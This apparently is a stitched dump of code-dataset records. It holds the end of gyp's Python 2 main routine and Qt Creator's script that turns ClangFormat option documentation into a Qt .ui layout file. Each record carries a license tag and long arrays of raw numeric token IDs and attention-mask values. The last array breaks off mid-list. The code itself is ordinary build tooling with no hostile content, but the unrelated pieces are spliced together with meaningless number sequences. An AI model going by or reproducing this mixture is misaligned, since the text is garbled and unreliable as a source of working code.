DEBUG_GENERAL in gyp.debug: DebugOutput(DEBUG_GENERAL, "cmdline_default_variables: %s", cmdline_default_variables) # Set up includes. includes = [] # If ~/.gyp/include.gypi exists, it'll be forcibly included into every # .gyp file that's loaded, before anything else is included. if home_dot_gyp != None: default_include = os.path.join(home_dot_gyp, 'include.gypi') if os.path.exists(default_include): print 'Using overrides found in ' + default_include includes.append(default_include) # Command-line --include files come after the default include. if options.includes: includes.extend(options.includes) # Generator flags should be prefixed with the target generator since they # are global across all generator runs. gen_flags = [] if options.use_environment: gen_flags += ShlexEnv('GYP_GENERATOR_FLAGS') if options.generator_flags: gen_flags += options.generator_flags generator_flags = NameValueListToDict(gen_flags) if DEBUG_GENERAL in gyp.debug.keys(): DebugOutput(DEBUG_GENERAL, "generator_flags: %s", generator_flags) # Generate all requested formats (use a set in case we got one format request # twice) for format in set(options.formats): params = {'options': options, 'build_files': build_files, 'generator_flags': generator_flags, 'cwd': os.getcwd(), 'build_files_arg': build_files_arg, 'gyp_binary': sys.argv[0], 'home_dot_gyp': home_dot_gyp, 'parallel': options.parallel, 'root_targets': options.root_targets, 'target_arch': cmdline_default_variables.get('target_arch', '')} # Start with the default variables from the command line. [generator, flat_list, targets, data] = Load( build_files, format, cmdline_default_variables, includes, options.depth, params, options.check, options.circular_check, options.duplicate_basename_check) # TODO(mark): Pass |data| for now because the generator needs a list of # build files that came in. In the future, maybe it should just accept # a list, and not the whole data dict. # NOTE: flat_list is the flattened dependency graph specifying the order # that targets may be built. Build systems that operate serially or that # need to have dependencies defined before dependents reference them should # generate targets in the order specified in flat_list. generator.GenerateOutput(flat_list, targets, data, params) if options.configs: valid_configs = targets[flat_list[0]]['configurations'].keys() for conf in options.configs: if conf not in valid_configs: raise GypError('Invalid config specified via --build: %s' % conf) generator.PerformBuild(data, options.configs, params) # Done return 0 def main(args): try: return gyp_main(args) except GypError, e: sys.stderr.write("gyp: %s\n" % e) return 1 # NOTE: setuptools generated console_scripts calls function with no arguments def script_main(): return main(sys.argv[1:]) if __name__ == '__main__': sys.exit(script_main())
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 1331, 199, 646, 4902, 14, 1210, 199, 646, 8691, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 16701, 199, 646, 984, 199, 646, 5190, 199, 504, 4902, 14, 2330, 492, 18151, 199, 199, 3, 3758, 3105, 12404, 367, 25686, 199, 1757, 275, 1052, 199, 199, 3, 3820, 402, 298, 29260, 2, 3105, 12404, 12, 1325, 1265, 883, 675, 7003, 1265, 2839, 14, 199, 5287, 63, 31548, 275, 283, 10706, 7, 199, 5287, 63, 21161, 275, 283, 3669, 7, 199, 5287, 63, 568, 29992, 275, 283, 9441, 7, 421, 199, 318, 14245, 2959, 8, 632, 12, 1245, 12, 627, 589, 304, 523, 340, 283, 452, 7, 315, 4902, 14, 1757, 503, 818, 315, 4902, 14, 1757, 26, 272, 4027, 275, 661, 5187, 297, 378, 12, 283, 5187, 358, 272, 862, 26, 489, 289, 275, 5190, 14, 5005, 63, 2340, 8, 3097, 29, 18, 9, 489, 340, 289, 26, 267, 4027, 275, 289, 59, 16, 19663, 19, 61, 272, 871, 26, 489, 986, 272, 340, 1249, 26, 489, 1245, 450, 29, 1249, 272, 870, 1543, 83, 2689, 83, 2689, 68, 2689, 83, 450, 83, 7, 450, 334, 632, 14, 4142, 1062, 747, 14, 515, 14, 4846, 8, 3799, 59, 16, 2522, 2892, 4027, 59, 17, 467, 4027, 59, 18, 467, 1245, 9, 199, 199, 318, 6668, 3425, 5535, 837, 523, 3329, 275, 1987, 6179, 7, 523, 1584, 275, 747, 14, 7374, 8, 736, 14, 9458, 1012, 523, 1900, 63, 1725, 275, 942, 523, 367, 570, 315, 1584, 26, 272, 340, 570, 14, 4130, 8, 3435, 304, 489, 1900, 63, 1725, 14, 740, 8, 493, 9, 523, 372, 1900, 63, 1725, 421, 199, 318, 7190, 8, 1506, 63, 1725, 12, 1475, 12, 849, 63, 3669, 10324, 268, 6952, 6034, 5818, 534, 3130, 1862, 29, 403, 12, 1104, 29, 797, 12, 268, 15032, 63, 1074, 29, 549, 12, 9250, 63, 4846, 63, 1074, 29, 549, 304, 523, 408, 523, 30367, 1373, 503, 1655, 2013, 1900, 1584, 14, 523, 849, 63, 3669, 436, 6952, 911, 506, 8876, 2544, 675, 14, 523, 1803, 314, 4306, 367, 314, 2013, 1475, 436, 314, 523, 666, 2138, 701, 8697, 314, 2013, 1900, 1584, 14, 523, 408, 523, 340, 1862, 365, 488, 26, 272, 1862, 275, 1052, 819, 340, 10791, 315, 1475, 26, 272, 1475, 12, 1862, 459, 6081, 418, 275, 1475, 14, 1294, 13858, 413, 9, 819, 849, 63, 3669, 275, 1331, 14, 1574, 8, 885, 63, 3669, 9, 819, 327, 3758, 2860, 2741, 701, 642, 2240, 436, 2399, 4621, 1077, 506, 523, 327, 4310, 1663, 63, 35, 2669, 63, 44, 1573, 51, 370, 5647, 282, 15392, 298, 7010, 24471, 2, 3231, 12, 523, 327, 5126, 316, 30063, 543, 922, 436, 4834, 2860, 14, 523, 849, 63, 3669, 459, 12795, 6467, 418, 275, 1475, 523, 849, 63, 3669, 459, 12795, 6467, 63, 3143, 6087, 726, 418, 275, 1862, 14, 362, 360, 6081, 297, 4074, 819, 327, 9701, 883, 506, 282, 3537, 2366, 570, 12, 503, 701, 849, 314, 536, 402, 282, 859, 523, 327, 4453, 4902, 14, 4679, 14, 523, 340, 1475, 14, 4130, 5175, 647, 735, 272, 4306, 63, 354, 275, 747, 14, 515, 14, 7973, 8, 908, 2788, 16, 61, 272, 931, 12, 4306, 63, 354, 275, 747, 14, 515, 14, 1294, 8, 4679, 63, 354, 9, 339, 327, 4155, 3238, 314, 931, 370, 314, 3537, 4306, 365, 315, 984, 14, 515, 272, 327, 7529, 1133, 30944, 3595, 12881, 652, 5403, 781, 787, 4224, 14, 221, 1804, 1024, 4073, 314, 931, 272, 327, 370, 1924, 4306, 626, 365, 1202, 315, 984, 14, 515, 365, 12060, 394, 5362, 2003, 436, 272, 327, 1680, 85, 6665, 282, 6954, 16819, 14, 272, 931, 275, 747, 14, 515, 14, 4832, 8, 515, 9, 272, 340, 931, 440, 315, 984, 14, 515, 26, 489, 984, 14, 515, 14, 3176, 8, 16, 12, 931, 9, 523, 587, 26, 272, 4306, 63, 354, 275, 283, 6179, 14, 4679, 3530, 435, 1475, 819, 327, 5723, 2633, 787, 3032, 315, 1865, 334, 305, 25068, 370, 701, 790, 9, 523, 327, 2952, 23241, 4718, 3913, 2429, 790, 2633, 370, 636, 646, 4343, 523, 4306, 275, 636, 646, 721, 4679, 63, 354, 12, 7992, 1062, 9480, 1062, 4306, 63, 354, 9, 523, 367, 334, 498, 12, 1139, 9, 315, 4306, 14, 4679, 63, 885, 63, 3669, 14, 1744, 837, 272, 849, 63, 3669, 14, 5486, 8, 498, 12, 1139, 9, 819, 327, 25495, 314, 4306, 314, 30914, 370, 663, 4722, 2860, 4079, 641, 523, 327, 314, 1862, 652, 911, 9128, 315, 314, 1072, 7669, 14, 523, 340, 2519, 8, 4679, 12, 283, 14860, 11458, 297, 488, 304, 272, 4306, 14, 14860, 11458, 8, 885, 63, 3669, 12, 1862, 9, 819, 327, 25495, 314, 4306, 314, 30914, 370, 663, 4306, 63, 1210, 63, 815, 4079, 641, 523, 327, 314, 1862, 652, 911, 9128, 315, 314, 1072, 7669, 14, 523, 340, 2519, 8, 4679, 12, 283, 14860, 7599, 3205, 2354, 297, 488, 304, 272, 4306, 14, 14860, 7599, 3205, 2354, 8, 1162, 9, 819, 327, 16347, 314, 4306, 2488, 2256, 626, 7545, 23036, 370, 1324, 12, 781, 675, 2519, 523, 327, 880, 781, 883, 849, 7645, 436, 314, 16952, 1454, 1172, 370, 5647, 4052, 523, 327, 2985, 1929, 14, 523, 4306, 63, 1210, 63, 815, 275, 469, 272, 283, 2865, 63, 4758, 63, 1612, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 8460, 63, 2865, 63, 4758, 63, 1612, 297, 14431, 272, 283, 515, 63, 7786, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 8460, 63, 515, 63, 7786, 297, 14431, 272, 283, 2911, 63, 4553, 63, 509, 63, 4423, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 2911, 63, 4553, 63, 509, 63, 4423, 297, 14431, 272, 283, 4679, 63, 9823, 63, 6048, 63, 30116, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 9823, 63, 6048, 63, 30116, 297, 756, 395, 272, 283, 4679, 63, 28789 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 1331, 199, 646, 4902, 14, 1210, 199, 646, 8691, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 16701, 199, 646, 984, 199, 646, 5190, 199, 504, 4902, 14, 2330, 492, 18151, 199, 199, 3, 3758, 3105, 12404, 367, 25686, 199, 1757, 275, 1052, 199, 199, 3, 3820, 402, 298, 29260, 2, 3105, 12404, 12, 1325, 1265, 883, 675, 7003, 1265, 2839, 14, 199, 5287, 63, 31548, 275, 283, 10706, 7, 199, 5287, 63, 21161, 275, 283, 3669, 7, 199, 5287, 63, 568, 29992, 275, 283, 9441, 7, 421, 199, 318, 14245, 2959, 8, 632, 12, 1245, 12, 627, 589, 304, 523, 340, 283, 452, 7, 315, 4902, 14, 1757, 503, 818, 315, 4902, 14, 1757, 26, 272, 4027, 275, 661, 5187, 297, 378, 12, 283, 5187, 358, 272, 862, 26, 489, 289, 275, 5190, 14, 5005, 63, 2340, 8, 3097, 29, 18, 9, 489, 340, 289, 26, 267, 4027, 275, 289, 59, 16, 19663, 19, 61, 272, 871, 26, 489, 986, 272, 340, 1249, 26, 489, 1245, 450, 29, 1249, 272, 870, 1543, 83, 2689, 83, 2689, 68, 2689, 83, 450, 83, 7, 450, 334, 632, 14, 4142, 1062, 747, 14, 515, 14, 4846, 8, 3799, 59, 16, 2522, 2892, 4027, 59, 17, 467, 4027, 59, 18, 467, 1245, 9, 199, 199, 318, 6668, 3425, 5535, 837, 523, 3329, 275, 1987, 6179, 7, 523, 1584, 275, 747, 14, 7374, 8, 736, 14, 9458, 1012, 523, 1900, 63, 1725, 275, 942, 523, 367, 570, 315, 1584, 26, 272, 340, 570, 14, 4130, 8, 3435, 304, 489, 1900, 63, 1725, 14, 740, 8, 493, 9, 523, 372, 1900, 63, 1725, 421, 199, 318, 7190, 8, 1506, 63, 1725, 12, 1475, 12, 849, 63, 3669, 10324, 268, 6952, 6034, 5818, 534, 3130, 1862, 29, 403, 12, 1104, 29, 797, 12, 268, 15032, 63, 1074, 29, 549, 12, 9250, 63, 4846, 63, 1074, 29, 549, 304, 523, 408, 523, 30367, 1373, 503, 1655, 2013, 1900, 1584, 14, 523, 849, 63, 3669, 436, 6952, 911, 506, 8876, 2544, 675, 14, 523, 1803, 314, 4306, 367, 314, 2013, 1475, 436, 314, 523, 666, 2138, 701, 8697, 314, 2013, 1900, 1584, 14, 523, 408, 523, 340, 1862, 365, 488, 26, 272, 1862, 275, 1052, 819, 340, 10791, 315, 1475, 26, 272, 1475, 12, 1862, 459, 6081, 418, 275, 1475, 14, 1294, 13858, 413, 9, 819, 849, 63, 3669, 275, 1331, 14, 1574, 8, 885, 63, 3669, 9, 819, 327, 3758, 2860, 2741, 701, 642, 2240, 436, 2399, 4621, 1077, 506, 523, 327, 4310, 1663, 63, 35, 2669, 63, 44, 1573, 51, 370, 5647, 282, 15392, 298, 7010, 24471, 2, 3231, 12, 523, 327, 5126, 316, 30063, 543, 922, 436, 4834, 2860, 14, 523, 849, 63, 3669, 459, 12795, 6467, 418, 275, 1475, 523, 849, 63, 3669, 459, 12795, 6467, 63, 3143, 6087, 726, 418, 275, 1862, 14, 362, 360, 6081, 297, 4074, 819, 327, 9701, 883, 506, 282, 3537, 2366, 570, 12, 503, 701, 849, 314, 536, 402, 282, 859, 523, 327, 4453, 4902, 14, 4679, 14, 523, 340, 1475, 14, 4130, 5175, 647, 735, 272, 4306, 63, 354, 275, 747, 14, 515, 14, 7973, 8, 908, 2788, 16, 61, 272, 931, 12, 4306, 63, 354, 275, 747, 14, 515, 14, 1294, 8, 4679, 63, 354, 9, 339, 327, 4155, 3238, 314, 931, 370, 314, 3537, 4306, 365, 315, 984, 14, 515, 272, 327, 7529, 1133, 30944, 3595, 12881, 652, 5403, 781, 787, 4224, 14, 221, 1804, 1024, 4073, 314, 931, 272, 327, 370, 1924, 4306, 626, 365, 1202, 315, 984, 14, 515, 365, 12060, 394, 5362, 2003, 436, 272, 327, 1680, 85, 6665, 282, 6954, 16819, 14, 272, 931, 275, 747, 14, 515, 14, 4832, 8, 515, 9, 272, 340, 931, 440, 315, 984, 14, 515, 26, 489, 984, 14, 515, 14, 3176, 8, 16, 12, 931, 9, 523, 587, 26, 272, 4306, 63, 354, 275, 283, 6179, 14, 4679, 3530, 435, 1475, 819, 327, 5723, 2633, 787, 3032, 315, 1865, 334, 305, 25068, 370, 701, 790, 9, 523, 327, 2952, 23241, 4718, 3913, 2429, 790, 2633, 370, 636, 646, 4343, 523, 4306, 275, 636, 646, 721, 4679, 63, 354, 12, 7992, 1062, 9480, 1062, 4306, 63, 354, 9, 523, 367, 334, 498, 12, 1139, 9, 315, 4306, 14, 4679, 63, 885, 63, 3669, 14, 1744, 837, 272, 849, 63, 3669, 14, 5486, 8, 498, 12, 1139, 9, 819, 327, 25495, 314, 4306, 314, 30914, 370, 663, 4722, 2860, 4079, 641, 523, 327, 314, 1862, 652, 911, 9128, 315, 314, 1072, 7669, 14, 523, 340, 2519, 8, 4679, 12, 283, 14860, 11458, 297, 488, 304, 272, 4306, 14, 14860, 11458, 8, 885, 63, 3669, 12, 1862, 9, 819, 327, 25495, 314, 4306, 314, 30914, 370, 663, 4306, 63, 1210, 63, 815, 4079, 641, 523, 327, 314, 1862, 652, 911, 9128, 315, 314, 1072, 7669, 14, 523, 340, 2519, 8, 4679, 12, 283, 14860, 7599, 3205, 2354, 297, 488, 304, 272, 4306, 14, 14860, 7599, 3205, 2354, 8, 1162, 9, 819, 327, 16347, 314, 4306, 2488, 2256, 626, 7545, 23036, 370, 1324, 12, 781, 675, 2519, 523, 327, 880, 781, 883, 849, 7645, 436, 314, 16952, 1454, 1172, 370, 5647, 4052, 523, 327, 2985, 1929, 14, 523, 4306, 63, 1210, 63, 815, 275, 469, 272, 283, 2865, 63, 4758, 63, 1612, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 8460, 63, 2865, 63, 4758, 63, 1612, 297, 14431, 272, 283, 515, 63, 7786, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 8460, 63, 515, 63, 7786, 297, 14431, 272, 283, 2911, 63, 4553, 63, 509, 63, 4423, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 2911, 63, 4553, 63, 509, 63, 4423, 297, 14431, 272, 283, 4679, 63, 9823, 63, 6048, 63, 30116, 356, 267, 2519, 8, 4679, 12, 283, 4679, 63, 9823, 63, 6048, 63, 30116, 297, 756, 395, 272, 283, 4679, 63, 28789, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
qtproject/qt-creator
scripts/generateClangFormatChecksUI.py
3
9025
#!/usr/bin/env python ############################################################################ # # Copyright (C) 2019 The Qt Company Ltd. # Contact: https://www.qt.io/licensing/ # # This file is part of Qt Creator. # # Commercial License Usage # Licensees holding valid commercial Qt licenses may use this file in # accordance with the commercial license agreement provided with the # Software or, alternatively, in accordance with the terms contained in # a written agreement between you and The Qt Company. For licensing terms # and conditions see https://www.qt.io/terms-conditions. For further # information use the contact form at https://www.qt.io/contact-us. # # GNU General Public License Usage # Alternatively, this file may be used under the terms of the GNU # General Public License version 3 as published by the Free Software # Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT # included in the packaging of this file. Please review the following # information to ensure the GNU General Public License requirements will # be met: https://www.gnu.org/licenses/gpl-3.0.html. # ############################################################################ import argparse import json import os import docutils.nodes import docutils.parsers.rst import docutils.utils def full_ui_content(checks): return '''<?xml version="1.0" encoding="UTF-8"?> <ui version="4.0"> <class>ClangFormat::ClangFormatChecksWidget</class> <widget class="QWidget" name="ClangFormat::ClangFormatChecksWidget"> <property name="maximumSize"> <size> <width>480</width> <height>16777215</height> </size> </property> <layout class="QGridLayout" name="checksLayout"> ''' + checks + ''' </layout> </widget> <resources/> <connections/> </ui> ''' def parse_arguments(): parser = argparse.ArgumentParser(description='Clazy checks header file generator') parser.add_argument('--clang-format-options-rst', help='path to ClangFormatStyleOptions.rst', default=None, dest='options_rst') return parser.parse_args() def parse_rst(text): parser = docutils.parsers.rst.Parser() components = (docutils.parsers.rst.Parser,) settings = docutils.frontend.OptionParser(components=components).get_default_values() document = docutils.utils.new_document('<rst-doc>', settings=settings) parser.parse(text, document) return document def createItem(key, value, index): label = ''' <item row="''' + str(index) + '''" column="0"> <widget class="QLabel" name="label''' + key + '''"> <property name="text"> <string notr="true">''' + key + '''</string> </property> </widget> </item> ''' value_item = '' if value[0] == 'bool': value_item = ''' <item row="''' + str(index) + '''" column="1"> <widget class="QComboBox" name="''' + key + '''"> <property name="focusPolicy"> <enum>Qt::StrongFocus</enum> </property> <item> <property name="text"> <string notr="true">Default</string> </property> </item> <item> <property name="text"> <string notr="true">true</string> </property> </item> <item> <property name="text"> <string notr="true">false</string> </property> </item> </widget> </item> ''' elif value[0].startswith('std::string') or value[0] == 'unsigned' or value[0] == 'int': value_item = ''' <item row="''' + str(index) + '''" column="1"> <layout class="QHBoxLayout"> <item> <widget class="QLineEdit" name="''' + key + '''"> </widget> </item> <item> <widget class="QPushButton" name="set''' + key + '''"> <property name="maximumSize"> <size> <width>40</width> <height>16777215</height> </size> </property> <property name="text"> <string notr="true">Set</string> </property> </widget> </item> </layout> </item> ''' elif value[0].startswith('std::vector'): value_item = ''' <item row="''' + str(index) + '''" column="1"> <layout class="QHBoxLayout"> <item> <widget class="QPlainTextEdit" name="''' + key + '''"> <property name="sizePolicy"> <sizepolicy hsizetype="Expanding" vsizetype="Fixed"/> </property> <property name="maximumSize"> <size> <width>16777215</width> <height>50</height> </size> </property> </widget> </item> <item> <widget class="QPushButton" name="set''' + key + '''"> <property name="maximumSize"> <size> <width>40</width> <height>16777215</height> </size> </property> <property name="text"> <string notr="true">Set</string> </property> </widget> </item> </layout> </item> ''' else: if ' ' in value[1]: value_item = '' for i, val in enumerate(value): if i == 0: continue index += 1 space_index = val.find(' ') val = val[space_index + 1:] value_item += ''' <item row="''' + str(index) + '''" column="0"> <widget class="QLabel" name="label''' + val + '''"> <property name="text"> <string notr="true"> ''' + val + '''</string> </property> </widget> </item> ''' value_item += ''' <item row="''' + str(index) + '''" column="1"> <widget class="QComboBox" name="''' + val + '''"> <property name="focusPolicy"> <enum>Qt::StrongFocus</enum> </property> <item> <property name="text"> <string notr="true">Default</string> </property> </item> <item> <property name="text"> <string notr="true">true</string> </property> </item> <item> <property name="text"> <string notr="true">false</string> </property> </item> </widget> </item> ''' else: value_item = ''' <item row="''' + str(index) + '''" column="1"> <widget class="QComboBox" name="''' + key + '''"> <property name="focusPolicy"> <enum>Qt::StrongFocus</enum> </property> ''' if key == 'Language': value_item += ''' <property name="enabled"> <bool>false</bool> </property> ''' if index > 0: value_item += ''' <item> <property name="text"> <string notr="true">Default</string> </property> </item> ''' for i, val in enumerate(value): if i == 0: continue underline_index = val.find('_') val = val[underline_index + 1:] value_item += ''' <item> <property name="text"> <string notr="true">''' + val + '''</string> </property> </item> ''' value_item += ''' </widget> </item> ''' return label + value_item, index class MyVisitor(docutils.nodes.NodeVisitor): in_bullet_list = False in_bullet_list_paragraph = False tree = {} last_key = '' def visit_term(self, node): node_values = node.traverse(condition=docutils.nodes.Text) name = node_values[0].astext() self.last_key = name self.tree[name] = [node_values[2].astext()] def visit_bullet_list(self, node): self.in_bullet_list = True def depart_bullet_list(self, node): self.in_bullet_list = False def visit_paragraph(self, node): if self.in_bullet_list: self.in_bullet_list_paragraph = True def depart_paragraph(self, node): self.in_bullet_list_paragraph = False def visit_literal(self, node): if self.in_bullet_list_paragraph: value = node.traverse(condition=docutils.nodes.Text)[0].astext() self.tree[self.last_key].append(value) self.in_bullet_list_paragraph = False def unknown_visit(self, node): """Called for all other node types.""" #print(node) pass def unknown_departure(self, node): pass def main(): arguments = parse_arguments() content = file(arguments.options_rst).read() document = parse_rst(content) visitor = MyVisitor(document) document.walkabout(visitor) keys = visitor.tree.keys() basedOnStyleKey = 'BasedOnStyle' keys.remove(basedOnStyleKey) keys.sort() text = '' line, index = createItem(basedOnStyleKey, visitor.tree[basedOnStyleKey], 0) text += line index = 1 for key in keys: line, index = createItem(key, visitor.tree[key], index) text += line index += 1 current_path = os.path.dirname(os.path.abspath(__file__)) ui_path = os.path.abspath(os.path.join(current_path, '..', 'src', 'plugins', 'clangformat', 'clangformatchecks.ui')) with open(ui_path, 'w') as f: f.write(full_ui_content(text)) if __name__ == "__main__": main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3949, 381, 199, 3, 199, 3, 1898, 334, 35, 9, 20312, 710, 3959, 15878, 12126, 14, 199, 3, 18684, 26, 4178, 921, 1544, 14, 8440, 14, 2308, 15, 606, 25843, 15, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 3959, 9750, 707, 14, 199, 3, 199, 3, 5429, 23012, 844, 11028, 199, 3, 844, 397, 17573, 1686, 2414, 23012, 3959, 12378, 1443, 675, 642, 570, 315, 199, 3, 1066, 1577, 554, 543, 314, 2414, 23012, 4190, 25025, 2741, 543, 314, 199, 3, 2290, 503, 12, 8679, 17330, 12, 315, 1066, 1577, 554, 543, 314, 2895, 10470, 315, 199, 3, 282, 5313, 25025, 3382, 1265, 436, 710, 3959, 15878, 14, 2104, 32572, 2895, 199, 3, 436, 3704, 1937, 4178, 921, 1544, 14, 8440, 14, 2308, 15, 9187, 13, 9855, 14, 2104, 9848, 199, 3, 2556, 675, 314, 8966, 1824, 737, 4178, 921, 1544, 14, 8440, 14, 2308, 15, 7811, 13, 527, 14, 199, 3, 199, 3, 1664, 1696, 1684, 844, 11028, 199, 3, 26776, 12, 642, 570, 1443, 506, 1202, 1334, 314, 2895, 402, 314, 1664, 199, 3, 1696, 1684, 844, 1015, 650, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 543, 4967, 465, 7468, 316, 315, 314, 570, 5113, 14, 12006, 19, 13, 11764, 199, 3, 5120, 315, 314, 27369, 402, 642, 570, 14, 7754, 11248, 314, 2569, 199, 3, 2556, 370, 4868, 314, 1664, 1696, 1684, 844, 9760, 911, 199, 3, 506, 7647, 26, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 1360, 14, 199, 3, 199, 3949, 381, 199, 199, 646, 7534, 199, 646, 2022, 199, 646, 747, 199, 646, 18382, 14, 2415, 199, 646, 18382, 14, 11531, 14, 8332, 199, 646, 18382, 14, 1208, 199, 199, 318, 2615, 63, 1907, 63, 1317, 8, 8625, 304, 272, 372, 28827, 31, 1652, 1015, 628, 17, 14, 16, 2, 2644, 628, 6610, 13, 24, 24327, 199, 28, 1907, 1015, 628, 20, 14, 16, 1743, 199, 665, 533, 30, 1968, 621, 3484, 447, 1968, 621, 3484, 11834, 3339, 1108, 533, 30, 199, 665, 3440, 1021, 628, 23894, 2, 536, 628, 1968, 621, 3484, 447, 1968, 621, 3484, 11834, 3339, 1743, 523, 665, 1829, 536, 628, 11555, 2320, 1743, 2043, 665, 890, 30, 272, 665, 2063, 30, 21853, 1108, 2063, 30, 272, 665, 3333, 30, 975, 1138, 2819, 1046, 1108, 3333, 30, 2043, 3068, 890, 30, 523, 3068, 1829, 30, 523, 665, 4209, 1021, 628, 49, 7900, 4798, 2, 536, 628, 8625, 4798, 1743, 199, 2344, 435, 5920, 435, 1449, 221, 3068, 4209, 30, 199, 3068, 3440, 30, 199, 665, 4435, 3133, 199, 665, 7995, 3133, 199, 1108, 1907, 30, 199, 2344, 199, 199, 318, 2198, 63, 4958, 837, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 35, 6395, 5920, 1406, 570, 4306, 358, 272, 1798, 14, 525, 63, 2094, 4517, 16066, 13, 908, 13, 1419, 13, 8332, 297, 1720, 534, 515, 370, 445, 4159, 3484, 6609, 4558, 14, 8332, 297, 267, 849, 29, 403, 12, 2053, 534, 1419, 63, 8332, 358, 272, 372, 1798, 14, 1122, 63, 589, 342, 199, 199, 318, 2198, 63, 8332, 8, 505, 304, 272, 1798, 275, 18382, 14, 11531, 14, 8332, 14, 2842, 342, 272, 7323, 275, 334, 27114, 14, 11531, 14, 8332, 14, 2842, 4258, 272, 2202, 275, 18382, 14, 18062, 14, 14553, 8, 4608, 29, 4608, 680, 362, 63, 885, 63, 1459, 342, 272, 2213, 275, 18382, 14, 1208, 14, 1222, 63, 3554, 4827, 8332, 13, 1301, 4206, 2202, 29, 1751, 9, 272, 1798, 14, 1122, 8, 505, 12, 2213, 9, 272, 372, 2213, 199, 199, 318, 1218, 2081, 8, 498, 12, 574, 12, 1478, 304, 272, 1768, 275, 1449, 257, 665, 1053, 1962, 628, 2344, 435, 620, 8, 1080, 9, 435, 1449, 2, 2763, 628, 16, 1743, 272, 665, 3440, 1021, 628, 19890, 2, 536, 628, 1302, 2344, 435, 790, 435, 1449, 1743, 1362, 665, 1829, 536, 628, 505, 1743, 489, 665, 875, 440, 82, 628, 2052, 1743, 2344, 435, 790, 435, 1449, 1108, 875, 30, 1362, 3068, 1829, 30, 272, 3068, 3440, 30, 2043, 3068, 1053, 30, 199, 2344, 272, 574, 63, 1053, 275, 2125, 272, 340, 574, 59, 16, 61, 508, 283, 2245, 356, 267, 574, 63, 1053, 275, 1449, 257, 665, 1053, 1962, 628, 2344, 435, 620, 8, 1080, 9, 435, 1449, 2, 2763, 628, 17, 1743, 272, 665, 3440, 1021, 628, 49, 17491, 2, 536, 628, 2344, 435, 790, 435, 1449, 1743, 1362, 665, 1829, 536, 628, 12283, 4845, 1743, 489, 665, 4869, 30, 4238, 447, 2848, 951, 17310, 1108, 4869, 30, 1362, 3068, 1829, 30, 1362, 665, 1053, 30, 489, 665, 1829, 536, 628, 505, 1743, 2126, 665, 875, 440, 82, 628, 2052, 1743, 2698, 1108, 875, 30, 489, 3068, 1829, 30, 1362, 3068, 1053, 30, 1362, 665, 1053, 30, 489, 665, 1829, 536, 628, 505, 1743, 2126, 665, 875, 440, 82, 628, 2052, 1743, 2052, 1108, 875, 30, 489, 3068, 1829, 30, 1362, 3068, 1053, 30, 1362, 665, 1053, 30, 489, 665, 1829, 536, 628, 505, 1743, 2126, 665, 875, 440, 82, 628, 2052, 1743, 3910, 1108, 875, 30, 489, 3068, 1829, 30, 1362, 3068, 1053, 30, 272, 3068, 3440, 30, 2043, 3068, 1053, 30, 199, 2344, 272, 916, 574, 59, 16, 1055, 2460, 360, 1516, 447, 875, 358, 503, 574, 59, 16, 61, 508, 283, 2244, 7, 503, 574, 59, 16, 61, 508, 283, 442, 356, 267, 574, 63, 1053, 275, 1449, 257, 665, 